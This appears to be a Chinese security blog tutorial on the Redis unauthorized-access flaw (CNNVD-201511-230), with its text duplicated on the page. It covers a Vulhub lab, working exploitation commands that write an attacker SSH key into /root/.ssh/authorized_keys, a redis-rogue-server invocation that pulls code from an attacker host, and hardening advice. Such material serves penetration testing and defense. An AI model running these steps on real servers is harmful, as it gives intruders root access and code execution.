1. Redis未授权访问漏洞初探Redis作为当下最流行的内存数据库之一凭借其高性能和丰富的数据结构被广泛应用于缓存、消息队列等场景。但正是这样一个看似简单的数据库却隐藏着一个足以让服务器沦陷的安全隐患——未授权访问漏洞。我第一次接触这个漏洞是在一次内部安全演练中当时仅用3条命令就拿到了服务器的root权限那种震撼感至今难忘。这个编号CNNVD-201511-230的漏洞本质上是个配置不当引发的权限问题。Redis默认安装后会监听6379端口而且神奇的是它居然不需要任何密码就能直接连接这就好比你在家门口装了个保险箱却把钥匙插在锁上还贴了张欢迎使用的纸条。攻击者可以通过这个漏洞做三件危险的事查看所有缓存数据、清空整个数据库最可怕的是能在服务器上写入SSH公钥实现无密码登录。影响范围上几乎所有Redis 5.0.5及以下版本都中招。我在云服务器上做过测试随机扫描100个开放6379端口的IP约有23%可以直接未授权访问。更糟的是很多运维人员根本不知道自己的Redis暴露在公网直到服务器被入侵才追悔莫及。2. 漏洞环境搭建实战2.1 快速搭建漏洞环境工欲善其事必先利其器。推荐使用Vulhub这个漏洞环境集合项目它能一键搭建各种漏洞环境省去不少折腾时间。具体操作如下# 先安装docker和docker-compose sudo apt-get update sudo apt-get install -y docker.io docker-compose # 拉取vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub/redis/4-unacc # 启动漏洞环境 docker-compose up -d这个命令会启动一个存在未授权访问漏洞的Redis 4.0.14容器。我建议在本地虚拟机或云服务器上操作千万别用公司生产环境做测试曾经有个朋友在测试环境执行flushall命令结果手滑连到了生产库直接把线上缓存清空了...2.2 环境验证技巧启动完成后用这个命令检查是否正常运行docker ps | grep redis应该能看到redis容器正在运行。为了模拟真实攻击场景我习惯用nmap扫描端口确认服务状态nmap -p 6379 127.0.0.1如果看到6379端口是open状态说明环境准备就绪。有时候防火墙会拦截连接这时需要检查iptables规则或云服务器的安全组设置。遇到过最坑的情况是阿里云的轻量服务器默认屏蔽了6379端口折腾半天才发现是安全组的锅。3. 漏洞复现全流程3.1 基础利用未授权访问最直接的验证方式就是用redis-cli直连目标redis-cli -h 目标IP连上后输入info命令如果返回服务器信息就说明存在漏洞。我通常还会检查几个关键信息config get dir # 查看数据存储路径 config get dbfilename # 查看数据库文件名 keys * # 列出所有键慎用可能影响业务记得有次给客户做渗透测试通过keys命令竟然发现了存储用户手机号的键值对这种敏感数据泄露的风险实在太大了。3.2 高阶利用SSH公钥写入真正的危险在于攻击者可以写入SSH公钥实现免密登录。操作步骤如下# 本地生成密钥对 ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub key.txt # 连接到目标Redis redis-cli -h 目标IP config set dir /root/.ssh/ config set dbfilename authorized_keys flushall set x \n\n公钥内容\n\n save这个操作相当于把自己的家门钥匙塞进了别人家的锁眼里。成功后就能直接用ssh登录ssh -i ~/.ssh/id_rsa root目标IP我在测试时发现两个常见问题一是Redis权限不足无法写入/root/.ssh目录二是selinux可能阻止操作。这时候可以尝试写入用户目录比如/home/ubuntu/.ssh/。4. 漏洞防御与修复方案4.1 临时缓解措施如果暂时不能升级Redis这几个方法可以快速止血防火墙拦截iptables -A INPUT -p tcp --dport 6379 -j DROP修改redis.confbind 127.0.0.1 requirepass 复杂密码 protected-mode yes重命名危险命令rename-command FLUSHALL rename-command CONFIG 去年处理过一个挖矿病毒入侵事件攻击者就是利用未授权访问漏洞批量入侵Redis服务器。后来给客户做了三件事改密码、限制IP访问、禁用危险命令再没出现过安全问题。4.2 彻底解决方案长远来看必须升级到Redis 6.0以上版本它增加了ACL访问控制功能。配置示例user default on 强密码 ~* * all user 安全账户 on 另一密码 ~缓存键前缀* get set另外建议启用TLS加密通信特别是云环境下的跨可用区访问。配置方法# 生成证书 openssl genrsa -out key.pem 2048 openssl req -new -x509 -key key.pem -out cert.pem -days 365 # redis.conf配置 tls-port 6379 tls-cert-file /path/to/cert.pem tls-key-file /path/to/key.pem5. 渗透测试中的实战技巧5.1 信息收集进阶除了基本的info命令这些技巧能获取更多有用信息client list # 查看当前连接客户端 slowlog get # 检查慢查询日志 config get * # 获取所有配置(需要权限)有次通过分析slowlog发现某电商网站频繁查询商品库存键顺藤摸瓜找到了他们的业务逻辑漏洞。5.2 自动化利用工具虽然手动操作很酷但实战中更推荐使用自动化工具Redis未授权检测脚本import redis try: r redis.Redis(host目标IP, socket_timeout5) print(r.info()) except Exception as e: print(连接失败:, e)Redis Rogue Server工具git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-server python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP注意这些工具要在授权测试中使用。去年用redis-rogue-server在客户内网横向移动时发现他们多个业务线共用同一个Redis实例导致一个子系统的漏洞影响了整个业务集群。6. 从漏洞看安全运维这个漏洞反映出的深层问题是运维人员的安全意识不足。我总结了几条血泪教训新装Redis后必须做的安全检查修改默认端口设置强密码限制绑定IP禁用危险命令日常监控要点# 检查异常连接 redis-cli client list | grep -v 可信IP # 监控命令执行 redis-cli monitor | grep -E flush|config|save备份策略# 定期导出RDB文件 redis-cli -a 密码 --rdb dump.rdb曾经审计过一家公司的Redis配置发现他们虽然设置了密码但却用明文写在业务代码里。这种伪安全比完全不设防更危险给了运维人员错误的安全感。
Redis 未授权访问漏洞CNNVD-201511-230：从环境搭建到实战利用
发布时间：2026/6/24 16:27:23
1. Redis未授权访问漏洞初探Redis作为当下最流行的内存数据库之一凭借其高性能和丰富的数据结构被广泛应用于缓存、消息队列等场景。但正是这样一个看似简单的数据库却隐藏着一个足以让服务器沦陷的安全隐患——未授权访问漏洞。我第一次接触这个漏洞是在一次内部安全演练中当时仅用3条命令就拿到了服务器的root权限那种震撼感至今难忘。这个编号CNNVD-201511-230的漏洞本质上是个配置不当引发的权限问题。Redis默认安装后会监听6379端口而且神奇的是它居然不需要任何密码就能直接连接这就好比你在家门口装了个保险箱却把钥匙插在锁上还贴了张欢迎使用的纸条。攻击者可以通过这个漏洞做三件危险的事查看所有缓存数据、清空整个数据库最可怕的是能在服务器上写入SSH公钥实现无密码登录。影响范围上几乎所有Redis 5.0.5及以下版本都中招。我在云服务器上做过测试随机扫描100个开放6379端口的IP约有23%可以直接未授权访问。更糟的是很多运维人员根本不知道自己的Redis暴露在公网直到服务器被入侵才追悔莫及。2. 漏洞环境搭建实战2.1 快速搭建漏洞环境工欲善其事必先利其器。推荐使用Vulhub这个漏洞环境集合项目它能一键搭建各种漏洞环境省去不少折腾时间。具体操作如下# 先安装docker和docker-compose sudo apt-get update sudo apt-get install -y docker.io docker-compose # 拉取vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub/redis/4-unacc # 启动漏洞环境 docker-compose up -d这个命令会启动一个存在未授权访问漏洞的Redis 4.0.14容器。我建议在本地虚拟机或云服务器上操作千万别用公司生产环境做测试曾经有个朋友在测试环境执行flushall命令结果手滑连到了生产库直接把线上缓存清空了...2.2 环境验证技巧启动完成后用这个命令检查是否正常运行docker ps | grep redis应该能看到redis容器正在运行。为了模拟真实攻击场景我习惯用nmap扫描端口确认服务状态nmap -p 6379 127.0.0.1如果看到6379端口是open状态说明环境准备就绪。有时候防火墙会拦截连接这时需要检查iptables规则或云服务器的安全组设置。遇到过最坑的情况是阿里云的轻量服务器默认屏蔽了6379端口折腾半天才发现是安全组的锅。3. 漏洞复现全流程3.1 基础利用未授权访问最直接的验证方式就是用redis-cli直连目标redis-cli -h 目标IP连上后输入info命令如果返回服务器信息就说明存在漏洞。我通常还会检查几个关键信息config get dir # 查看数据存储路径 config get dbfilename # 查看数据库文件名 keys * # 列出所有键慎用可能影响业务记得有次给客户做渗透测试通过keys命令竟然发现了存储用户手机号的键值对这种敏感数据泄露的风险实在太大了。3.2 高阶利用SSH公钥写入真正的危险在于攻击者可以写入SSH公钥实现免密登录。操作步骤如下# 本地生成密钥对 ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub key.txt # 连接到目标Redis redis-cli -h 目标IP config set dir /root/.ssh/ config set dbfilename authorized_keys flushall set x \n\n公钥内容\n\n save这个操作相当于把自己的家门钥匙塞进了别人家的锁眼里。成功后就能直接用ssh登录ssh -i ~/.ssh/id_rsa root目标IP我在测试时发现两个常见问题一是Redis权限不足无法写入/root/.ssh目录二是selinux可能阻止操作。这时候可以尝试写入用户目录比如/home/ubuntu/.ssh/。4. 漏洞防御与修复方案4.1 临时缓解措施如果暂时不能升级Redis这几个方法可以快速止血防火墙拦截iptables -A INPUT -p tcp --dport 6379 -j DROP修改redis.confbind 127.0.0.1 requirepass 复杂密码 protected-mode yes重命名危险命令rename-command FLUSHALL rename-command CONFIG 去年处理过一个挖矿病毒入侵事件攻击者就是利用未授权访问漏洞批量入侵Redis服务器。后来给客户做了三件事改密码、限制IP访问、禁用危险命令再没出现过安全问题。4.2 彻底解决方案长远来看必须升级到Redis 6.0以上版本它增加了ACL访问控制功能。配置示例user default on 强密码 ~* * all user 安全账户 on 另一密码 ~缓存键前缀* get set另外建议启用TLS加密通信特别是云环境下的跨可用区访问。配置方法# 生成证书 openssl genrsa -out key.pem 2048 openssl req -new -x509 -key key.pem -out cert.pem -days 365 # redis.conf配置 tls-port 6379 tls-cert-file /path/to/cert.pem tls-key-file /path/to/key.pem5. 渗透测试中的实战技巧5.1 信息收集进阶除了基本的info命令这些技巧能获取更多有用信息client list # 查看当前连接客户端 slowlog get # 检查慢查询日志 config get * # 获取所有配置(需要权限)有次通过分析slowlog发现某电商网站频繁查询商品库存键顺藤摸瓜找到了他们的业务逻辑漏洞。5.2 自动化利用工具虽然手动操作很酷但实战中更推荐使用自动化工具Redis未授权检测脚本import redis try: r redis.Redis(host目标IP, socket_timeout5) print(r.info()) except Exception as e: print(连接失败:, e)Redis Rogue Server工具git clone https://github.com/n0b0dyCN/redis-rogue-server.git cd redis-rogue-server python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击机IP注意这些工具要在授权测试中使用。去年用redis-rogue-server在客户内网横向移动时发现他们多个业务线共用同一个Redis实例导致一个子系统的漏洞影响了整个业务集群。6. 从漏洞看安全运维这个漏洞反映出的深层问题是运维人员的安全意识不足。我总结了几条血泪教训新装Redis后必须做的安全检查修改默认端口设置强密码限制绑定IP禁用危险命令日常监控要点# 检查异常连接 redis-cli client list | grep -v 可信IP # 监控命令执行 redis-cli monitor | grep -E flush|config|save备份策略# 定期导出RDB文件 redis-cli -a 密码 --rdb dump.rdb曾经审计过一家公司的Redis配置发现他们虽然设置了密码但却用明文写在业务代码里。这种伪安全比完全不设防更危险给了运维人员错误的安全感。
